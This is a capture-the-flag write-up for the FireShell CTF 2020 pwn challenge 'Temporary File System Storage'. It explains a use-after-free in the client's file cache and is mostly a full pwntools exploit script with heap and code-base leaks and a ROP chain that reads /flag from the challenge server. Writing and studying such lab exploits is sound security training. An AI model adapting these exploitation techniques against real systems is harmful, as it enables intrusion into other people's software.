Tags: uaf pwn 

Rating:

# FireShell CTF 2020

## Temporary File System Storage

## Information

**Category** | **Points** | **Solves** | **Writeup Author**
--- | --- | --- | ---
PWN | 500 | 0 | [konata](https://github.com/merrychap)

**Description:**

>I have wrote an on-demand file storage service, where people may host their "files" temporarily, it works pretty >well and I doubt there are vulnerabilities :)
>Machine: Ubuntu 18.04 LTS
>You need to always start the server first (when testing locally), enjoy!
>Flag is on /flag
>Server: 142.93.113.55
>Port: 31090

**Files:**

[client](./client)

[client.remote](./client.remote)

[server](./server)

[libc](./libc-2.23.so)

## General information

Little note: I was not able to solve that task in time of ctf and finished it several hours later. Enjoy. Maybe I will add more details in the near future :)

TL;DR. After the crazy reverse part of this challenge (which will not be covered here, heh) it can be noticed that the client has some kind of cache of recenty created files (up to 3). This cache is just and an array of 3 pointers to recently opened files (that are allocated on heap). When 4th file is created, the client clears the cache and leaves pointers to file structs in the cache without zeroing them. It leads to UAF bug and further ROP chain execution.

## Exploit

```python
import random
import string

from pwn import *

def create_file(pc, filename, format, content=''):
pc.sendlineafter('[*] 2 - Edit File', '0')
pc.sendlineafter(':', filename)
pc.sendlineafter(':', format)
pc.sendlineafter(':', str(len(content)))
if len(content) != 0:
pc.sendafter(':', content)

def delete_file(pc):
pc.sendlineafter('[*] 2 - Edit File', '1')

def edit_file(pc, filename, format):
pc.sendlineafter('[*] 2 - Edit File', '2')
pc.sendlineafter(':', filename)
pc.sendlineafter(':', format)

def edit_file_update_content(pc, content=''):
pc.sendlineafter('[*] 3 - Exit file editor', '0')
pc.sendlineafter(':', str(len(content)))
if len(content) != 0:
pc.send(content)

def edit_file_change_display_format(pc, df):
pc.sendlineafter('[*] 3 - Exit file editor', '1')
pc.sendlineafter('[*] 1 - HEXDUMP:', str(df))

def edit_file_display_content(pc):
pc.sendlineafter('[*] 3 - Exit file editor', '2')

def edit_file_exit_file_editor(pc):
pc.sendlineafter('[*] 3 - Exit file editor', '3')

def create_req(
print_fn=0,
filename='',
filename_len=0,
fileformat='',
fileformat_len=0,
data=0,
data_size=0
):
req = ''.join([
p64(print_fn),
filename.ljust(100, '\x00'),
p32(0),
p64(filename_len),
fileformat.ljust(16, '\x00'),
p64(fileformat_len),
p64(data),
p64(data_size)
])

return req

def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))

def main():
client = remote('142.93.113.55', 31090)

create_file(client, 'AAAA', 'AAAA')
log.info('create req struct with data_len = 0, it leads to heap leak')
edit_file(client, 'AAAA', 'AAAA')
edit_file_display_content(client)

client.recvline()
heap = u64(client.recvline()[17:-1].ljust(8, '\x00'))
log.success('heap @ ' + hex(heap))

edit_file_exit_file_editor(client)

create_file(client, 'BBBB', 'BBBB')
create_file(client, 'CCCC', 'CCCC')

create_file(client, 'DDDD', 'DDDD')
log.info('clear cache and proceed with uaf')

filename = '/flag\x00'
server_req = (p8(4) + p32(0xdeadbeef) + p8(len(filename)) + filename).ljust(0x30, '\x00')

req = create_req(
print_fn=0x41414141,
filename='FFFF' + p32(0) + server_req,
filename_len=4,
fileformat='FFFF',
fileformat_len=4,
data=heap+0x2bf0,
data_size=0xa8
)
create_file(client, 'EEEE', 'EEEE', req)
log.info('alloc on existing req struct and overwrite it')

edit_file(client, 'FFFF', 'FFFF')
edit_file_change_display_format(client, 0)
edit_file_display_content(client)
log.info('leak code address from an existing req struct')

client.recvline()

code_base = u64(client.recvline()[17:-1].ljust(8, '\x00')) - 0x1f90

write = code_base + 0x1760
read = code_base + 0x1920

mov_rdi_rsp = code_base + 0x5b10
pop_rdi = code_base + 0x3236
pop_rsi = code_base + 0x4b25
pop_rdx = code_base + 0x5b24

log.success('code base @ ' + hex(code_base))
log.success('write @ ' + hex(write))
log.success('read @ ' + hex(read))

rop = ''.join([
# write request to the server
p64(pop_rdi),
p64(3),
p64(pop_rsi),
p64(heap+0x2b50),
p64(pop_rdx),
p64(len(server_req)),
p64(write),

# read request from server
p64(read),
p64(pop_rdi),
p64(1),
p64(write)
])

log.info('rop size = {}'.format(len(rop)))

pause()
req = create_req(
print_fn=mov_rdi_rsp,
filename='DDDD' + p32(0) + rop,
filename_len=4,
fileformat='DDDD',
fileformat_len=4,
data=heap+0x2bf0+0x10,
data_size=0xa8
)
edit_file_update_content(client, req)
edit_file_exit_file_editor(client)
log.info('overwrite req struct with rop and execute "mov rsp, rdi"')

edit_file(client, 'DDDD', 'DDDD')
edit_file_display_content(client)
log.info('enjoying the flag :)')

client.interactive()

if __name__ == '__main__':
main()
```



> Flag: F#{45a7f65bfbba8d5924becfa04e5d139c7098820a}

Original writeup (https://github.com/merrychap/ctf-writeups/tree/master/2020/FireShellCTF/tmpfs).